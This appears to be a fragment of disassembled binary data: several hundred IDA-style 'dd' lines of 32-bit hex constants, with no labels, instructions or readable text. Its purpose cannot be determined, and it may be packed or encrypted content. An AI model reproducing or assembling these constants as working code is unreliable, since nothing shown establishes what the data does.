		dd 9AF2EA06h, 0ED7AF574h, 39B7937Ah, 37C65727h,	0F068E8BFh
		dd 30785F74h, 48BE71E2h, 7E957C98h, 0B8816228h,	0D628140Dh
		dd 0C49D5C8Ah, 9E6F2D30h, 0B9A343E5h, 0C08C6FCh, 68FE8159h
		dd 995972CBh, 82960937h, 74678C8Bh, 0D4AFB55Bh,	0A8BF8068h
		dd 0D0007B3Eh, 7C8366B7h, 1424FE47h, 0F647559h,	50A5800Bh
		dd 6260E5Bh, 46BC93A3h,	0F9A5E010h, 0D49AAC7Eh,	0C54EBEDEh
		dd 0FC5CF09Eh, 33827619h, 643EF855h, 0F3FC859Eh, 0FEBE1028h
		dd 0B8136243h, 5B3E38A5h, 88625499h, 19293CA5h,	0B55E7557h
		dd 7D52F1DEh, 44027484h, 0B8EBDB33h, 55689C1h, 248A15C0h
		dd 465C53C8h, 1753A2DCh, 67A93888h, 30FC791Ch, 90246FDAh
		dd 8E5DACE0h, 0E0F2E043h, 0F2539117h, 53421443h, 0F22F196h
		dd 0A8DC109Ch, 0B9F1A4CEh, 0A8C52031h, 48E0230Fh, 602877A3h
		dd 5C91209Bh, 6BEB5726h, 7F4B9D54h, 6F537B69h, 619C2174h
		dd 7771A448h, 57178520h, 2FE4D5B8h, 0F062D273h,	0CC021A58h
		dd 98D77198h, 5FB3FCFFh, 0BE9F1241h, 0E0837230h, 0A13C7201h
		dd 1D85A693h, 0FB41FB80h, 0BEF1E537h, 0AC2156F3h, 0B7C17A04h
		dd 785D0A6Ah, 2EE01C99h, 14691414h, 0E230FFF2h,	752803F8h
		dd 6BDD0F63h, 0A0F0E72Dh, 0C9D18F10h, 0E8A52E9Ch, 2CC3FE78h
		dd 0DAE6DD1h, 27534185h, 0CBF02132h, 325FA2E1h,	0A588C44Ah
		dd 53521978h, 1A35BD61h, 0BE93F56Ch, 0F7A0FDE2h, 43B247Ch
		dd 80CCCA8Bh, 44E79728h, 5CA0F52Fh, 0FC63B59h, 0FDBA8725h
		dd 3AD8B799h, 478C609Dh, 21EC766h, 9889519Ch, 511DDF0h
		dd 77A96ADCh, 0BF506A84h, 0DACB7CF6h, 189F4D5Fh, 4D8D496Dh
		dd 12AF96D3h, 9E8BFE43h, 682D5730h, 0ADE52003h,	0D507E2A5h
		dd 429DACC6h, 0D5D44A4Fh, 0AD8EB2CEh, 4C7FE0Fh,	0F051DA24h
		dd 0F2D1A1B8h, 0A5618E4Dh, 0EA56219Fh, 0BB4CED0Ch, 23EA1A68h
		dd 4C297F03h, 0F05ABAFAh, 5C128EF2h, 5974E7A9h,	0B8094091h
		dd 12AAA04Fh, 0DDB2BF6Eh, 6A6674DBh, 41EC2460h,	74FD3FF0h
		dd 0EDB8518h, 3D657608h, 7CECF422h, 0BF03EB85h,	0C0F052B4h
		dd 3BC82BFAh, 6A9E73CBh, 313F411h, 1DCFAAC6h, 106743Eh
		dd 6429085Dh, 743B57CBh, 96CD1932h, 2CFA042Bh, 0D25D861h
		dd 1E8A70F4h, 4C0855D9h, 0DF13F01Dh, 759EE00Fh,	5AE8CE05h
		dd 0DBC7FF66h, 1F9C7D2Dh, 3DF08ECAh, 0E87D5966h, 7FC9A3D8h
		dd 0C7D8B84h, 0F69BA28Bh, 0CF9A2F8Ah, 0A22F3F1Dh, 51DEEBEFh
		dd 8C6C1711h, 0E0B76A9Fh, 8B03FC8Ch, 8CC40E04h,	0C84443ABh
		dd 70CC317Ch, 6043D00Ch, 0C450D410h, 0DC3140D8h, 43E00C30h
		dd 14941020h, 0C21098CEh, 10AAF09Ch, 2186E0A0h,	0A888D4A4h
		dd 0B0AC62C0h, 18A0B21Bh, 218690B4h, 0BC8880B8h, 5CC0626Ch
		dd 8648E418h, 46D1B583h, 0EC0E8ADAh, 0F08A0E20h, 0F4880710h
		dd 0F4F86704h, 8BC5ACA9h, 745A819Ah, 942C485h, 0DDCD8A1Eh
		dd 0FE491223h, 52F69F56h, 8D05900Fh, 0D12D301Ch, 755EF8EBh
		dd 0D80248DEh, 280C6A15h, 206C9488h, 12F8568Bh,	8E7D3A90h
		dd 0D1383408h, 51F791EEh, 28B1E2EEh, 20B40DE4h,	0E126974h
		dd 440C203Ah, 0C889CFE9h, 26694132h, 0C3FE31F0h, 22D82BDh
		dd 499A45Fh, 33832EC4h,	22C9CB4Fh, 331CC113h, 5049F7D2h
		dd 5DBD8951h, 6816A8E4h, 0B0A3A990h, 0D71794CBh, 7CB2B35h
		dd 3530C412h, 3809EFFAh, 0F4735557h, 60C85EA7h,	15180BBh
		dd 0F38B1DC0h, 0DD0E10BFh, 6AEFC520h, 2B8D093Ch, 0F3D5ADEh
		dd 0CCF6F7C1h, 0F0C633F2h, 0F55D58F5h, 8F9FD6Eh, 0E21DBF50h
		dd 0F090BE0Eh, 4592F931h, 0D6A3AAF3h, 1C713227h, 7C7157C9h
		dd 5A0B7C49h, 55A59074h, 32A66EFh, 57E76C4Bh, 0B5A13938h
		dd 5525A22Ch, 3A35CECh,	0B95F5EA2h, 1889461Fh, 0D35541EBh
		dd 4FD2D57h, 73BE34FAh,	1ADA2C66h, 0ED054291h, 0E0D11921h
		dd 0C24239A2h, 0BEB0352h, 9F890231h, 0D0D95E07h, 40744825h
		dd 0E40F7042h, 0FF685231h, 0AFFA8B1Ch, 22CCC054h, 49C3482Bh
		dd 56D71B02h, 46575052h, 0A935D4F5h, 72D77701h,	0D9DE3B04h
		dd 1234B9D1h, 31BB5764h, 0AACA8B20h, 0F0481616h, 77580098h
		dd 8305725Bh, 0DD5058FEh, 244B6A1Bh, 777722F6h,	124710A1h
		dd 83B3142h, 18328937h,	2644842Bh, 1B428C21h, 19461E22h
		dd 0A090B21h, 30D15673h, 1BC62B20h, 0C303D105h,	0CABBD713h
		dd 0D9E8278Ch, 9F542DC3h, 8724FF69h, 0A4BCAAFCh, 0D855E49Fh
		dd 0F3A1DB33h, 4532338h, 3C9D3952h, 44042622h, 674A0733h
		dd 2A489ABh, 83610210h,	18D963A8h, 0EB291CFCh, 3C2CC970h
		dd 90096019h, 55881825h, 451965CAh, 0CE091425h,	6C855B92h
		dd 85B3433h, 2944102Ch,	12A40162h, 3117220Ch, 0E0218A02h
		dd 74149797h, 0C104217Dh, 6B382F75h, 741726F2h,	8C67BB27h
		dd 0DD18E97Eh, 0B421BD66h, 4914486Bh, 0FC7D3344h, 2BF9A14Ah
		dd 3E3F6A1Eh, 0FDA4850Bh, 79FFE677h, 0A10B8CA6h, 124CB8B4h
		dd 0B726FAFAh, 8D0D1B60h, 7DB94D4Fh, 9CDF2741h,	0C470BFFh
		dd 4EA4BC5Fh, 116DBAF8h, 4EFA64BDh, 84990430h, 0FC1C21ACh
		dd 0B195E83Eh, 0BE14FB18h, 0EC2275DBh, 0F7466A26h, 535D7819h
		dd 767AE93Eh, 0C871749Fh, 881C219Ah, 17A04BC4h,	656A0C44h
		dd 0ABC8DC20h, 0CD7DB7CFh, 0A5339C99h, 4928DD44h, 0BC44966h
		dd 22BBB14Eh, 4DD618B4h, 0D06E7425h, 3D85F818h,	9828867Ah
		dd 909111F9h, 85C29D12h, 2967520h, 7E07EC52h, 97734CBDh
		dd 0D6E85E7Eh, 0F7C96A48h, 0D097EA44h, 642F989h, 938193Ch
		dd 45397D46h, 21C27E98h, 0D8E25DD4h, 0BABDB523h, 21C8E171h
		dd 66ADC4D0h, 0D99E2CF3h, 9C680929h, 41D6D542h,	2D7975E9h
		dd 0BF5040BCh, 845B5B56h, 80BE5602h, 1A57068Bh,	0EA795750h
		dd 4BBC3DC2h, 42758190h, 251C28A1h, 1DA883C4h, 0B7B6B898h
		dd 16201345h, 9EACF068h, 0BCF659C6h, 0B21F5B42h, 0E4CEAC90h
		dd 0E8CB51F1h, 0E052BE18h, 0E6EC4A0Ah, 0B93674B2h, 2C101216h
		dd 9FB740Eh, 43C15EA2h,	0FB1CA2ACh, 0AE5C9618h,	6521FA8Ah
		dd 0C9FCA488h, 0FD4914F6h, 0F2902BC9h, 8DBB5704h, 0B1AC3E11h
		dd 2395F420h, 4FADD082h, 0D061EAB0h, 8A7AFE38h,	0F60E4188h
		dd 0BCF2D316h, 12F9CAE4h, 813C6AE2h, 575FB896h,	0FD02E32h
		dd 67D891Ah, 2AF4FA5Dh,	0F863FCA8h, 0E006C8D8h,	0BC074430h
		dd 0A659E08Fh, 0A6CA9D18h, 0DDC7FDD4h, 5D390008h, 0FF1576CCh
		dd 9A986CD1h, 57734212h, 0D85039FCh, 75B73D0Fh,	0B3E61E51h
		dd 0D412299Bh, 1DE0651Eh, 32A76B1Ah, 1A96DC12h,	0B3FE09F5h
		dd 0E4122BAFh, 69539C1Ah, 36A052Eh, 79512750h, 5F4ABA77h
		dd 0A85A71CEh, 0F3097DF3h, 0F2A45D74h, 0D228ACF8h, 77EEF2EAh
		dd 2D26FEA5h, 60EE9C45h, 3C74FC15h, 0D303A2FFh,	0A271485Fh
		dd 2B12ADB4h, 70674C2h,	0FA416924h, 57F65CF5h, 0F4380F96h
		dd 0A304DF59h, 0E37AD30h, 0FAA484F0h, 2C2D9D3Ch, 0C214D6FEh
		dd 3011FAA4h, 0B1A8A758h, 0A425BF27h, 0FC7D1ED7h, 402485FAh
		dd 0E58BDC25h, 0B50930FCh, 0D49FFE28h, 564854FBh, 0CCBEC4C8h
		dd 126A13E1h, 3ADE2905h, 0B4120CBDh, 0A9A3FBCCh, 101F724Bh
		dd 144FB15Fh, 0D418872Ch, 7D8D62BDh, 79DAF45Ch,	0A4A5B1A8h
		dd 5A1082D1h, 0FEC20BEBh, 6456445Fh, 9FA17A5h, 54D92F8Ch
		dd 0A8F04E0Ch, 0F6332F10h, 84856603h, 63F1A75Ah, 83A7942Eh
		dd 2F03100Ah, 1974C62Bh, 5664D148h, 96B3BC6Bh, 0FACECDBFh
		dd 0FC85E07Ch, 162B14EBh
		dd 120EFA2Bh, 96E7AE53h, 6E1FA15Fh, 90F45CE4h, 0F8CAEF42h
		dd 862F8EB2h, 0A6507822h, 0DCAFED11h, 7E79005Dh, 0CEB5B89h
		dd 1C744876h, 8AAA70ECh, 179A7917h, 267C3733h, 0FA7EA396h
		dd 0CFC4243Ah, 94951586h, 0D9885AB7h, 0F244EE45h, 36C87D24h
		dd 4C4202EDh, 0E412A3E8h, 39B9EF66h, 15BFD867h,	84F015D4h
		dd 0EC0BE054h, 22DC4384h, 9B5CA2F4h, 0EA083171h, 6BC6A094h
		dd 0E8A0CEFCh, 0F6B5FF33h, 500770D3h, 0EB46D4B7h, 6EB8DAC1h
		dd 0BCF2D4ADh, 0BA732C33h, 147FA7BFh, 68A6B710h, 6A4A45C4h
		dd 4E78C7E0h, 0A4D8ADFFh, 9F321026h, 0E4AA5153h, 0BCA78E22h
		dd 139E46F0h, 0E2C78B24h, 6F0C3A92h, 276E0605h,	0BBDA62EBh
		dd 0E8947F95h, 49B56CBFh, 56255A6Ch, 539289E7h,	4CA02E65h
		dd 3F58B7EBh, 0A332C852h, 322D423Ah, 16121DFh, 3E8835Fh
		dd 0C1294E74h, 2A5CA720h, 0F03ACB11h, 0B7530E74h, 24535DD6h
		dd 91E5B77Ch, 5A3F43EAh, 0D183D84h, 0BF5BA55Dh,	0E3480F56h
		dd 6E95BF96h, 382CE2ABh, 681D536Ah, 5EB2122Fh, 97129E02h
		dd 62BF31C9h, 28FF4E4Fh, 1973DD0h, 80BE0FA9h, 68501540h
		dd 2FB291D8h, 3128EDEh,	176840E3h, 0F11C5953h, 6484B97Dh
		dd 0F7AB575Ch, 0C372133Dh, 0E2755850h, 582DFF68h, 9419544Ah
		dd 2C193C6Ah, 54F08F1h,	0D0BFE775h, 0F4AF7207h,	0DE0C903Eh
		dd 6434296Bh, 0DFE13490h, 0F3C38D25h, 370D4558h, 0FF03230Bh
		dd 0E675FC4Dh, 5B35CBF4h, 25CE3BABh, 0D4EF578h,	2B94D686h
		dd 8EBF7816h, 0D8BE964Ch, 0A6852840h, 0BD08A256h, 0CC9AFB59h
		dd 28D65503h, 52C1F709h, 147405BAh, 0EA41018Ah,	0F40D50Ah
		dd 5F17541h, 28500DA4h,	0FEFF38CAh, 0D0037E83h,	33C1F083h
		dd 4C1D4C2h, 71C4A95Ch,	0E8748103h, 3AFC418Bh, 0E42E3259h
		dd 0C9A915BEh, 0F137C66h, 28110DFh, 418DCDEBh, 2B5681FEh
		dd 1490C3C1h, 16FDB2FEh, 0EE4AFC47h, 8357B443h,	465C07CFh
		dd 0CB40A80Ch, 3A474ED4h, 3452DE9Eh, 2BD40491h,	421154DAh
		dd 877C5D3h, 121308DDh,	7D1922A2h, 0F3EB6105h, 721C642Fh
		dd 0B154BFBFh, 0EF668343h, 0F8C65904h, 35E2B70Eh, 766DF4F4h
		dd 17F00245h, 88A1095Ah, 6ED14DD3h, 0D531614h, 6A5917D7h
		dd 0A33674E4h, 5842E236h, 4F3A5D09h, 0E8267513h, 94FCCE5Fh
		dd 72E41523h, 5E743D66h, 882E92C9h, 0C962E49Eh,	0DF0FEB27h
		dd 8435C523h, 55B89F4Ah, 9329ADD6h, 0C2290AFh, 0E7B8AF0Fh
		dd 0D1D1C3B7h, 972E85CFh, 0A94D37B8h, 0ABD9B05Fh, 1488A0C7h
		dd 0DEF75166h, 7774DBC7h, 0C08FB73Ch, 0C78DEBCFh, 2E10C10Ah
		dd 8650F626h, 0BB2A4E1Ch, 3B234520h, 28F9F2C8h,	4EF70272h
		dd 0BDE4CC57h, 7D29200Eh, 47E6708h, 82463E95h, 0D2DF03h
		dd 3B4BEBFCh, 2E72144Dh, 0C205AF9Dh, 540974C1h,	12C0366Ah
		dd 496BD0BFh, 0E9842553h, 0E31234BCh, 503732E4h, 1403D929h
		dd 0D818EBD8h, 25E3DA9Ch, 88288E60h, 43870354h,	8BF4A2F5h
		dd 8F775C97h, 4AB07685h, 10301712h, 0F20C4E83h,	0D0464EBh
		dd 0B84E8620h, 0BE7E2B6Dh, 92E5FA02h, 0EC2C08E8h, 1A0EA5BFh
		dd 0F4625F66h, 7DC8DF2Eh, 4FF6DC33h, 1113352Ah,	7B241589h
		dd 0B82F5375h, 7B985A02h, 0E0FE3DFFh, 2DD3879Ch, 868B3A3Ah
		dd 0D94BD2D6h, 183B9697h, 4C775BF6h, 90AF0096h,	0A620DF36h
		dd 367529C2h, 6BDA0BB6h, 481B44F7h, 43825D2Dh, 0EDE248FCh
		dd 0CBD61EABh, 1D375712h, 0ABB54D7Ah, 17E535BEh, 94DAF5D2h
		dd 4A92431Eh, 73C6148Ch, 0F0E6240Fh, 165079B7h,	219FC9A0h
		dd 412A7A2Fh, 6651E44Fh, 51478C93h, 21F59F14h, 3D68475Ah
		dd 1CA0514Ah, 0E81D4B75h, 98BE223Ah, 2FAF843Bh,	0C3F9B2EBh
		dd 2FF0A0Dh, 4545094Dh,	65962534h, 0B12492Ah, 0C2770954h
		dd 876F614h, 0BD565492h, 395E1009h, 0E26AD51Fh,	0F6FC8B95h
		dd 8A09C9D0h, 0C4836D2h, 629C8829h, 0B7C0CE74h,	8B045873h
		dd 4EFC1FEh, 87522A85h,	3A349E67h, 8975FCEFh, 0EB422105h
		dd 0E5115732h, 0B35270Eh, 503B60Fh, 0E57604F8h,	8E36AEABh
		dd 0A6D9903Bh, 0DF928231h, 289DAD6Ah, 0AF424314h, 3E14EB12h
		dd 0FCB0621Dh, 0E8210AFEh, 1BEF1AC5h, 445259Eh,	0F7333EECh
		dd 23241422h, 0F92FE6Bh, 0A2691648h, 752F160Dh,	0C61CCCC2h
		dd 493DED23h, 7A50E9EDh, 443C5FDh, 92CD2840h, 6AC3171Dh
		dd 228AEE40h, 92828F50h, 0BCC36D55h, 0D1BDA79Ch, 0C7AE8B98h
		dd 0FB090B89h, 8A81B0F0h, 0C227BB22h, 1861F328h, 42443916h
		dd 14A61074h, 0DE407584h, 0ACE199C3h, 5B116BBDh, 26C43715h
		dd 4BCDB23Fh, 8661C161h, 0B7485A62h, 0BA9C816Ah, 2D708D12h
		dd 77C858F0h, 86E91F5Bh, 0CC82F05Eh, 285C3FFh, 0DEB1E57h
		dd 0A04CB76Fh, 2801ACCCh, 0BAC8548Bh, 0D2850A40h, 1A8C4774h
		dd 82C2C58Ah, 4FD4055h,	0F72D1D72h, 3E1CCD9h, 0D1002BDAh
		dd 49470788h, 5F8BFA75h, 6226FFC8h, 0CA10440Fh,	0CE28330h
		dd 1B7402E9h, 77ABF306h, 4A4549B6h, 0C35F7F8Ch,	61AE040Dh
		dd 570CB9C4h, 7A0F4AECh, 0D96A5356h, 0F71484E4h, 6E0EB5C6h
		dd 0D686D3D5h, 56FEA83h, 68A21EBh, 74640446h, 2902B025h
		dd 753420A4h, 1E165CEBh, 84E32A0Ah, 98210D14h, 304B2F3Dh
		dd 10BFF375h, 0CEC45E5Bh, 66B2C7F7h, 0B53B1228h, 128447C6h
		dd 3BEE7529h, 34336C1Bh, 6156FA5Eh, 3B178996h, 4BC84C86h
		dd 8B7F21AFh, 9E812D06h, 0C6120A66h, 50DE83D8h,	0E82CC884h
		dd 251EF0F6h, 8191C2F7h, 9308450Ch, 7458C665h, 0E2811EF5h
		dd 150C2677h, 32848B0Eh, 2AD3E204h, 0AC333654h,	500A7C0Ah
		dd 55756007h, 85D5B1F8h, 5317A44Ah, 0D253F855h,	0D0846F03h
		dd 7ECC1643h, 703050Fh,	0CFE4AB6Ah, 10B54BEDh, 8B090F31h
		dd 0C220780Dh, 8341048Ah, 81DDE048h, 0D2EB4703h, 0A6372C9Dh
		dd 4BEF28C9h, 0C5C41DEEh, 504752Bh, 62DB3310h, 8FD0C44h
		dd 0BC241A5h, 703D91A1h, 0D8F4807h, 629B4E8Dh, 80D0465Ch
		dd 83CFEB31h, 0C386C0FDh, 0D8F70275h, 4E18129Fh, 0CEB02677h
		dd 1CA1029Dh, 0DFFA43AEh, 0D0FF0202h, 0F8902868h, 0BE144B29h
		dd 7FB20DC8h, 0F10514Ch, 0EF9114C2h, 385C09AFh,	84B3B1EDh
		dd 69A323DEh, 39859C74h, 291243Dh, 33931175h, 0A219AC08h
		dd 8182D2FCh, 0ED7B0CFEh, 89140603h, 1447203Dh,	291C1D88h
		dd 9CA13C07h, 9875D9D3h, 0C0980DEEh, 718D5615h,	0F01F3BFCh
		dd 6951372h, 0EE838598h, 803528C2h, 5EED7323h, 95345268h
		dd 0F7482C21h, 1140283Eh, 2963843h, 10755BD6h, 34897B85h
		dd 2C8CFA87h, 65119E5Fh, 73AB453Bh, 558750Dh, 0BAEDEBEEh
		dd 53AA5A74h, 0D621BEFDh, 0DDEA8DE0h, 0F3424424h, 5AF55AF1h
		dd 49E41C97h, 0AA107F52h, 4AB43FEFh, 0F08BE440h, 64086578h
		dd 0C013FEE0h, 0DE4B5D1Ah, 2AEE6369h, 0AAA2FC5Eh, 5412A38Eh
		dd 6405E58h, 0FDC03D69h, 53E8DCCh, 2A269E9Ch, 89D8BD16h
		dd 0BE9E256Dh, 414C5096h, 8A565362h, 49026211h,	13693D72h
		dd 754F0171h, 35F7EC4Fh, 1F07FA14h, 53D03846h, 0BEA4F15h
		dd 100B066Ah, 0F575170Ah, 0A85F960Bh, 0F0161127h, 7E8D1803h
		dd 261D1FFh, 28342868h,	43CE1E22h, 0C475E038h, 9D0341C9h
		dd 66C31865h, 7AC183FFh, 0EBDF1B23h, 6B1260B1h,	31C0C28Ah
		dd 368D96B9h, 0F41BFF47h, 0FA0DC768h, 0C14CA56h, 0E41AECFAh
		dd 0B10AC29Fh, 0F94E1000h, 71DDBAE5h, 0D913122Ah, 78F82F74h
		dd 80217281h, 753AEC7Bh
		dd 0D4251B4Eh, 95AAF685h, 0FBF69107h, 80A98F29h, 431CBC66h
		dd 0F90AEB4Dh, 0B36DF222h, 6ADDEA82h, 0BEAF40A0h, 0E8AA6FFh
		dd 8A657408h, 0D1C60093h, 0D26182F6h, 460D090h,	1AEB4048h
		dd 2FF93C80h, 5C0A0F33h, 2E010AEAh, 0D02E0B75h,	488D06ECh
		dd 4D250178h, 4554FC0Ch, 0A539A1CFh, 2A680573h,	81365DBFh
		dd 3BFB2B1Fh, 746A2CFEh, 1095DE96h, 31BB5A7Bh, 0C2072485h
		dd 221EF177h, 104D0882h, 2198C985h, 0C0FC7D24h,	0FB3B4C77h
		dd 0FB44872h, 14643F23h, 7D788877h, 4461C418h, 62B0AA2Bh
		dd 974ED273h, 2C57A567h, 3E5E24E1h, 46917AA1h, 2B170A14h
		dd 536522C3h, 8895203Dh, 0CAD6FD18h, 5101403Ch,	0CE493D5Ah
		dd 7226A28Dh, 6821F714h, 432D12C5h, 40CD8511h, 2BEC7318h
		dd 0C46E8BC8h, 0D4E18E1Ah, 4400982h, 0ACF1A50h,	26B7DF8h
		dd 0E87FFB69h, 9036EB8Dh, 560C2DB3h, 12A10489h,	4278044Eh
		dd 48400EE3h, 89764101h, 1907EB2Dh, 0CC6959B9h,	1C091625h
		dd 5EB8675h, 0D9750957h, 79292780h, 1FE5D25Dh, 0D7087D3Bh
		dd 0EB6A0BF1h, 0FB943CD8h, 849DB5F0h, 0C8B3D91h, 0ADA47453h
		dd 8A08A920h, 77488D1Fh, 63F94181h, 0D2C3C8DFh,	2BD6DCCCh
		dd 0F405DF2Ch, 0EB46031Eh, 2DFB80D0h, 619F6D72h, 503140Fh
		dd 162B1C36h, 0AE27D231h, 8C0F7BD1h, 442929C6h,	9223BFEh
		dd 8F222479h, 396A637Ah, 5EEE7559h, 4374302Dh, 870AEBEEh
		dd 5321608h, 0C7783C05h, 485845F8h, 1F440813h, 399612C7h
		dd 17753706h, 48125553h, 0D03F0420h, 1385EADh, 0C816C246h
		dd 10E9D0FFh, 0A9D303BFh, 0BD47E4FCh, 94F3A640h, 8E90DE5Bh
		dd 1ACBBE3Dh, 14E230E9h, 570B2BECh, 8B66632Bh, 0C7235819h
		dd 0FF054A57h, 2FFBCBA4h, 84D259B3h, 8D3B3728h,	78367325h
		dd 0C3EE8AEEh, 42F4BA8Eh, 141262D8h, 48CAFE84h,	3960576h
		dd 0AF0F0994h, 0F1031C0Dh, 963E4C89h, 8A240626h, 0B68FFC18h
		dd 0F838BA72h, 0D55ECC4h, 8C1F60Ch, 5F692D40h, 0FC24BAFDh
		dd 4DEB4382h, 0B8042A17h, 1C75A621h, 4201149Dh,	2E1833Eh
		dd 7D810640h, 800234D8h, 0D830F377h, 392C1F75h,	27764445h
		dd 1B7C0F6h, 0DC4B05C7h, 7F228DC2h, 0EBFF8438h,	80B51166h
		dd 0D9F60760h, 41F7C91Bh, 0B389C803h, 7A05BB28h, 61026DF9h
		dd 0F8F13490h, 0D4D8F734h, 0E0288F5Eh, 21FA99Bh, 239838D6h
		dd 1F014C6Ah, 74A33FEDh, 4270880Bh, 5572BDF6h, 5BFBF86Ah
		dd 597FFC85h, 65BAF952h, 0C4C4FD13h, 95EBE6FCh,	0B540E8ABh
		dd 5F117796h, 0FDFCC88Bh, 0D892735Eh, 209629C7h, 7A2675D2h
		dd 0C9830288h, 41AEF2FFh, 8A4FBD82h, 14FD9D86h,	7384709h
		dd 2FE9174h, 5FFC5E84h,	30142DC9h, 83417BE1h, 0D9E926E3h
		dd 0F7B673BFh, 0F4895C4Ah, 64DB61CBh, 0A612F39Bh, 8B03468Ah
		dd 0A9473AC9h, 809C0477h, 0D1F74049h, 5E5BC18Bh, 0A0A541A5h
		dd 6AEB08BFh, 95A4768Dh, 8A54BE92h, 0E1AD5744h,	3BC40F88h
		dd 0DC7B2A29h, 1A462322h, 79C70E21h, 0AB5543F9h, 3F08D3FEh
		dd 3A0FD0Ah, 0CCD2595h,	8A196030h, 97808211h, 47178864h
		dd 0EE5863A6h, 74244E2Eh, 121C5E3h, 6C731145h, 346125E1h
		dd 0F6275084h, 331223C5h, 724FC7D7h, 90660932h,	7047C609h
		dd 0CA0DAE02h, 60088812h, 5BFF428Dh, 0F1EE5DFBh, 1A0EAD64h
		dd 0D8418514h, 2C68FEA1h, 9BA0D07Ah, 0A8A13C0h,	0D9773842h
		dd 0C984D11Eh, 811351D4h, 0D80BED75h, 0DC32D20h, 5610E3C1h
		dd 0BF0AE012h, 24FDA2A6h, 339CB6Fh, 83F905F0h, 0AB23FFF1h
		dd 0D0C6F3CFh, 528104C2h, 0B648ACE1h, 94B32529h, 0FC7F07D3h
		dd 0CFE6F408h, 0C40B808Dh, 22208AA9h, 38FC428Bh, 3674D812h
		dd 0AEF384Fh, 3C2ACFDCh, 0E8C1E70Ch, 89152710h,	210612DCh
		dd 0A396EBD4h, 0B43AB25Ch, 70870FEh, 25FCC4FDh,	422E0A6h
		dd 753EB88Eh, 3A02183Ch, 0CF0A2ED8h, 610C2688h,	9BF32512h
		dd 0E1B11D8Ah, 19F10241h, 3C112B90h, 4E92FE03h,	367AA68Bh
		dd 44F0D248h, 1B74908Bh, 40E0D114h, 88C97C92h, 8CD87901h
		dd 0E98B4202h, 0E0634166h, 0A808FB28h, 68B2666Dh, 24D25C02h
		dd 26C922CAh, 7AA196C1h, 0D374388Ch, 0C6C42AAh,	0BB6A6A57h
		dd 0E0506075h, 5AB7AF3h, 168A5F07h, 0CA78D2B3h,	0CF232740h
		dd 0D20385A0h, 448DE309h, 18660205h, 75C44046h,	0F2F4B0E5h
		dd 40ED385h, 0F12815EFh, 6AE29AD1h, 0DE61FF51h,	0D352805Bh
		dd 3EEC1E3h, 354C098Ah,	7F0484E0h, 0C30C9707h, 8BD9EB42h
		dd 1744B2DAh, 5624AD1Eh, 0D3584A85h, 852667E0h,	80220B75h
		dd 1D2FC0Eh, 0C22B5F9Dh, 25D27E5Eh, 2356A289h, 71CBC2C3h
		dd 0E742C910h, 0D64B1371h, 0FC349A1h, 4F16A7E5h, 0CDD6083Ah
		dd 6CC56AF0h, 0B06BE6B3h, 53599666h, 0C3225B2Eh, 26A6F339h
		dd 0C8C63F2Eh, 84759C7h, 1816891Fh, 7518860Ah, 83E04FCFh
		dd 7EDEBFEFh, 7203BD3Ah, 0E5040ACBh, 9758B4Eh, 4E12F3C6h
		dd 53151CEBh, 3374163Fh, 0B49334Bh, 9D4CCD72h, 0D3CBD730h
		dd 476C0DD2h, 1E054D3Fh, 96F37549h, 3DEF130Fh, 5EB66C02h
		dd 8FD02B28h, 2A4BD064h, 2BBC663Ch, 59A64423h, 0DD2338Ah
		dd 2578805h, 1B651034h,	5D52732Dh, 77B31249h, 0FFF3C1A3h
		dd 10768C8Ch, 76CA85B6h, 5B0FD42h, 92D0CA10h, 0D2564956h
		dd 61C0CE24h, 1EC603D1h, 0BA76FE3Bh, 820FF802h,	4540178h
		dd 0F1551451h, 0F9CCA2F1h, 29720008h, 24FFA5F3h, 0CE2D6895h
		dd 0BACC4141h, 0E9831D40h, 0C723A04h, 61FCE0BDh, 808530C8h
		dd 330E06CDh, 903F788Dh, 0C5FC113Fh, 0BC0B32E7h, 2321E009h
		dd 1D2A8AD1h, 14609DDh,	6D5ED255h, 9012AF02h, 0C72AC6B4h
		dd 0C5CC425Dh, 2C29498Dh, 3B682617h, 0A611E641h, 2490290Bh
		dd 47454619h, 9C8C1A42h, 0F5F6640h, 4444094Ch, 1234893Ch
		dd 4824242Ch, 1D41A81Ch, 1D89E48Eh, 0E811328Fh,	0EC22912Eh
		dd 2EF012E9h, 0E9F42291h, 912EF812h, 8DE8FC22h,	0CFB90472h
		dd 0F892882Ch, 91E20A29h, 99180F1h, 0BDA0228Ch,	0F7E1524Ah
		dd 0E9E4990h, 43FA460Ch, 5BA44512h, 180B550Eh, 74318D2Ch
		dd 397CD031h, 43804ED2h, 0FD0D8524h, 0F1FCE40Dh, 0F708D0C1h
		dd 1466D949h, 0D4F0CFB0h, 31F9A290h, 4308082Bh,	0D04470CFh
		dd 3819CC18h, 248B6009h, 373B03DCh, 0B34E56E0h,	0B6574F50h
		dd 7598B487h, 0EEA43820h, 19EF06C9h, 2A4B8C7Eh,	6D289029h
		dd 2CAC4E4Bh, 0AFA152EEh, 5A134624h, 5C6853C4h,	0BC80A9B4h
		dd 22C40991h, 0DCD444CCh, 0F712E489h, 1C91682Ah, 1811C874h
		dd 8B1444BAh, 0BA1048A4h, 0A48B0C44h, 44BA0848h, 9EA48B04h
		dd 33205698h, 22180D10h, 3C452809h, 0B8418C4Bh,	883DB615h
		dd 84791015h, 0B856140Eh, 4F31BAD3h, 0F37EBE56h, 103509BDh
		dd 942454AEh, 0DD329C02h, 695F593Eh, 51D80E4Fh,	0F0251966h
		dd 53D0A7Fh, 751BC1AFh,	0F3D9F55h, 7E71E8ADh, 7A0E9D2Dh
		dd 99D21AA9h, 535D2366h, 6A41C48Eh, 61165F0Bh, 700A98BDh
		dd 0EE4A5356h, 0F62983Fh, 0F84B05DCh, 2909F3F1h, 0B9311FA1h
		dd 3DEB2879h, 0E8164E55h, 6E2C6E03h, 5F5FDADCh,	720E56A5h
		dd 2220F840h, 3420C3F6h, 7C19ED75h, 72A1103Fh, 0DBD907B4h
		dd 3CC10DA2h, 0A352DC23h, 0C810304Ah, 0DB1C7C0Ah, 0B846C3E2h
		dd 0AF42540h, 0D42405C7h, 21D50CDFh, 206CA314h,	88281E13h
		dd 19A1223Bh, 2C7B122Ch, 23893014h, 34A3298Fh, 0E360BE36h
		dd 1D9BF4C4h, 2FFE7DD9h
		dd 8B3AA1D6h, 0F20CCC80h, 0E66DFEF4h, 0F47D33DFh, 2676FE0Ch
		dd 0F84855E6h, 8528AC46h, 0A80C4654h, 0CF18F0Ch, 70DD5A1Eh
		dd 0C08AA03Fh, 64F053E7h, 0E3D11DD2h, 0A355031Eh, 23894A08h
		dd 0F3FC63F8h, 5BFF0820h, 0C2F747E0h, 59580008h, 24680487h
		dd 116A071Ch, 0A16457E1h, 5E863146h, 0D48C80F8h, 6AE041D2h
